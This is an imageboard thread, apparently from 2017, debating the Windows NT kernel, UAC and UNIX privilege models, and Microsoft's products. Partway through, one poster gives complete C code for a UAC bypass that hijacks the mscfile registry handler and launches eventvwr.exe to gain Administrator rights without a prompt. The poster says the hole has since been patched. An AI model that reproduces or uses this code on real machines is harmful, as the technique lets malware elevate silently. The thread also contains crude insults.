Microsoft Windows lifetime

>>62111378
dos > windows nt was p sucessful too

File: 433asetup_nt4logon.jpg (235KB, 1280x1049px) Image search: [Google]

235KB, 1280x1049px

>>62111378
I realize the point may be moot if desktops and laptops disappear in favor of tablets and cell phones.

>>62111378
They've tried making some new OS's, actually.
>a win32 layer (or whatever it is they use now) over a unix kernel?
I always love when freetards think Microsoft is gonna switch some Linux or whatever other unix kernel, because reasons.

NT is well made, architecturally, and even Google is abandoning Linux&friends.

>>62111378
Their biggest problem is compatibility with old shit. If they dropped compatibility for ancient software they could save a ton of money and improve the OS a lot.

Perhaps they could support old software by running it inside a VM.

>>62111441
I doubt they'd pick linux or anything GPL'ed (hurd or whatever). if they were going Unix, they'd def pick something with a BSD license and close it off (like Apple did). could be BSD-derived, or system V derived, or they could create their own like Linus did (but that would take a long time and it'd probably end up proprietary).

>>62111491
No, you fag, why would they choose a unix kernel in the first place, when NT is a pretty cool piece of tech in it's own right?

If they wanted to go that route, they could have done it with Xenix.

>>62111532
Windows NT was broken beyond reasonable repair the a month after release. Pretty obvious that they didn't plan for the internet to be such a huge factor when the made the NT kernel, because its very obvious that it isn't made for it.

File: merced.gif (53KB, 506x341px) Image search: [Google]

53KB, 506x341px

>>62111452
the itanium sunk because it couldn't deliver on compatibility (and other reasons too, like ridiculous price). a cheap pentium 4 could outperform it on x86 performance.

I think though that at some point, CPU performance became so good that it didn't matter if you had a celeron or a core i9, web pages and youtube would render at the same speed (javascript and bloatware kind of killed that concept though; but you can see the difference by installing XP or older OSes). anyway, if they didn't wasted CPU cycles on bad software, I think the concept could have applied to emulation, and would solve the compatibility problem.

other solution as you pointed it out was complete drop for legacy software. (not many people complained when 16-bit support was dropped in XP SP2, or later in x64 CPUs)

>>62111532
I guess you're right. the problem isn't the kernel (it's rock-solid with awesome boot times). it's the userland (useless services, tens of thousands of files whom nobody knows what they do, etc)

I wish people would stop acting like UNIX is somehow objectively good. It really is entirely subjective and I along with many other people can't stand its' design. NT is actually a very solid and well written kernel with a lot of good features inside it. It's the operating system on top of the kernel that suffers from a lot of design flaws.

>>62111748
NT is not a solid kernel unless you are limiting yourself to offline computing. It wasn't designed for the internet, and the monolithic tendencies that it has proves this. UAC was an attempt to remedy this, but, more than a decade later, it still isn't as good as Super User privileges in Linux. In fact, one could argue that it was at its most effective in Vista, where it literally had to babysit the user. Since then, they have attempted to balance protection and functionality.

You can "like" the design of NT all you like. That doesn't mean that the kernel is any good in regards to the internet.

>>62111777
nice buzzwords

>>62111784
What buzzwords? The only one I think could even be accused of that was "monolithic." Which is one. Even then, that doesn't mean anything I said was inaccurate.

Windows NT was released at the end of July, 1993. Eternal September began a little more than a month later. The Windows NT kernel was not designed for the internet, and rather than abandoning it, and making a new one, they have spent the last 24 years patching what was woefully broken a month after release.

>>62111777
>It wasn't designed for the internet, and the monolithic tendencies that it has proves this.
And Linux wasn't designed for the internet, either(you wanna know how clumsy "everything is a file" works with online services?)

Neither is it designed for embedded stuff(even Torvald himself says it's bloated, and you should use QNX or something), mobile devices(power-management is an afterthought), and a ton of other 80's server stuff, forcing everyone to clumsily hack together stuff to work around all this.

That's why Google is making Fuchsia, and is mincing Android into a billion sandboxed services so they can dump the penguin from the OS.

>>62111867
>And Linux wasn't designed for the internet
Ok. What's your point? If it's, "The Linux kernel wasn't originally designed for the internet, but they did a better job handling it due to super-user privileges and modular tendencies than MS, did," then fine. Consider your point made.

But its a telling sign that your defense of my attack against Microsoft has nothing to do with Microsoft.

>>62111777
How is NT's system any less effective than UNIX's by design? The problem is with Windows handing out Administrator accounts by default. Using a limited account on NT is no different than the UNIX superuser setup. On UNIX you use sudo, on NT you use runas. UAC isn't effective on Administrator-group accounts because it's trivial to bypass as opposed to needing an actual privilege escalation exploit in a limited user environment. Hell, I've found very simple ways of bypassing UAC under an Administrator account.

The problem you're describing is a flaw with Windows as opposed to any inherent design flaw with NT. Also, NT is not monolithic.

>>62111927
>How is NT's system any less effective than UNIX's by design?
Where did I defend Unix?

>Also, NT is not monolithic
I never said it was.

>>62111948
>[...] it still isn't as good as Super User privileges in Linux

>>62111966
That's not a defense of Linux, or even praise. It's just a statement of fact.

>>62111948
your entire argument is that NT is worse than UNIX for the internet and you point to the superuser as an example of this, when NT's superuser equivalent is no different if used properly

They make money from office and other related services.
Guess what OS these things run on.

>>62111983
No, my entire argument is that the NT kernel isn't good.

>>62111988
and the only example you've brought so far is the superuser system, which NT doesn't do any worse (even better depending on who you ask)

>>62111927
>Hell, I've found very simple ways of bypassing UAC under an Administrator account.
name 2

>>62111441
>freetards think Microsoft is gonna switch some Linux or whatever other unix kernel
But they are: http://www.zdnet.com/article/red-hat-adds-microsofts-net-core-2-0-to-its-linux-and-cloud-offerings/

>>62111998
No, my original post was pretty explicit outlining why the NT kernel was bad.

Feel free to check again: >>62111777
I made a brief comparison to Linux. However, this does not mean that if you somehow tar and feather other OS's, that this will make NT's kernel good.

>>62112000
I've lost some of my code samples but this is one I found and used for quite a while before it was patched recently. Upon executing eventvwr.exe (which runs with Administrator-level privileges under an Administrator account, regardless of UAC settings), it looks for the default value in the HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command registry key, and if it's not empty it executes the command it finds there. If you place the path to your executable there and then call eventvwr.exe, it will run your program with Administrator-level privileges.

#include <stdlib.h>
#include <windows.h>

int main(int argc, char** argv)
{
    HANDLE procTok;
    OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &procTok);
    if (procTok == INVALID_HANDLE_VALUE)
        return -1;
    
    wchar_t thisExe[MAX_PATH];
    GetModuleFileNameW(NULL, thisExe, MAX_PATH);
    
    struct
    {
        DWORD TokenIsElevated;
    } eleTok;
    DWORD size = sizeof(eleTok);
    
    GetTokenInformation(procTok, 20, &eleTok, sizeof(eleTok), &size);
    if (eleTok.TokenIsElevated)
    {
        MessageBoxW(NULL, L"Elevated", L"Information", MB_TOPMOST);
    }
    else
    {
        MessageBoxW(NULL, L"Not elevated", L"Information", MB_TOPMOST);
        
        HKEY regKey;
        RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\shell\\open\\command", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &regKey, NULL);
        RegSetValueExW(regKey, L"", 0, REG_SZ, (unsigned char*)thisExe, ((wcslen(thisExe) + 1) * sizeof(wchar_t)));
        RegCloseKey(regKey);
    
        system("eventvwr.exe");
        exit(0);
    }
}

>>62112012
Saying "bad for internet" isn't an argument unto itself, you must provide examples detailing what makes it "bad for the internet". You provided the superuser system as an example, so I countered that argument. You have provided no other arguments to counter.

>>62112034
can you even write to registry as a non-elevated user?

>>62111565
It wasn't dropped, NTVDM still exists in 32bit OS, I set it up on Windows 8.1 for some 90-era hardware.

>>62112058
The only "refutation" I've seen is a claim made without evidence about bypassing UAC under an admin account.

>>62112001
what does that have to do with the kernel?

>>62111927
>The problem you're describing is a flaw with Windows as opposed to any inherent design flaw with NT.

Not taking a side, but what can use use the NT kernel on besides Windows? If the answer is "none," isn't that a fair criticism to level at NT?

They're failing in pretty much every market they try to enter. Only cashcow they have is Windows, Office and Azure. Surface is successful but the failure rate is two high. All this money and it still boggles me just how incompetent they are. W10 is a design mess, they couldn't even get basic features in Windows mobile, Xbox exclusives and on and on.

>>62112081
>If the answer is "none," isn't that a fair criticism to level at NT?
No, it's a criticism of the license, mostly.

>>62112086
Name a modern MS product that ISN'T a mess. Maybe their HIPAA stuff like Healthvault? But its not like the average consumer is getting that stuff.

>>62112100
Ok, but you can't use the NT kernel on anything but Windows, and Windows has these issues. Therefore, in order to use the NT kernel, you have to deal with these issues. It's not much of a deflection in the practical world, is it?

>>62111986
they could branch out and make microsoft office for linux. I wonder how they'd configure activation though.
they already have office for the mac

File: Desktop 08.27.2017 - 12.16.51.04.webm (2MB, 1214x550px) Image search: [Google]

2MB, 1214x550px

>>62112063
To HKEY_CURRENT_USER, yes. It was patched in January this year I believe so you should be able to test it for yourself on any installation of 7, 8, or 10 last updated before then (I didn't test it on Vista but in theory it should work too)

>>62112070
See
>>62112034
And that was not my point, my point was that NT's superuser system is only weak compared to UNIX if you use an Administrator account. If you use a limited account as you would on UNIX it's no less secure. The fact that you're arguing with me over the validity of my claim of bypassing UAC means you're arguing with my claim that there's any sort of flaw in NT's superuser system at all.

>>62112108
You do not have to deal with these issues if you create yourself a limited user account instead of an Administrator account. The problem is Windows by default issues Administrator accounts. And my point is it's not an inherent design flaw in the kernel itself, it's a design flaw with the OS on top of the kernel which could be easily remedied without OP's suggestion of abandoning NT and using UNIX.

>>62112113
I doubt there's enough of a reason to do so. Most of the people using Linux are already happy enough with other products, like google docs and Libre office.

If anything, it would just give people a reason to try out Linux, which might make them abandon Windows. MacOS at least had the rational argument of high entry point and non-upgradeable parts (with rare exception).

>>62112119
Not OP, but I don't think he was suggesting Unix. He just asked if such a thing would even be possible, ala Apple going to Unix.

>>62112119
>The problem is Windows by default issues Administrator accounts
only the first account (created during Windows installation), every other account defaults to regular User

also
>default setups
and Linux by default uses RWX for file system permissions, which is worse than NFS' access control lists

File: microshil.png (20KB, 562x576px) Image search: [Google]

20KB, 562x576px

>>62111378
Let me enlighten you with shitty code

>>62112752
I agree about file permissions, NTFS gets a lot of flak but it has some very nice features.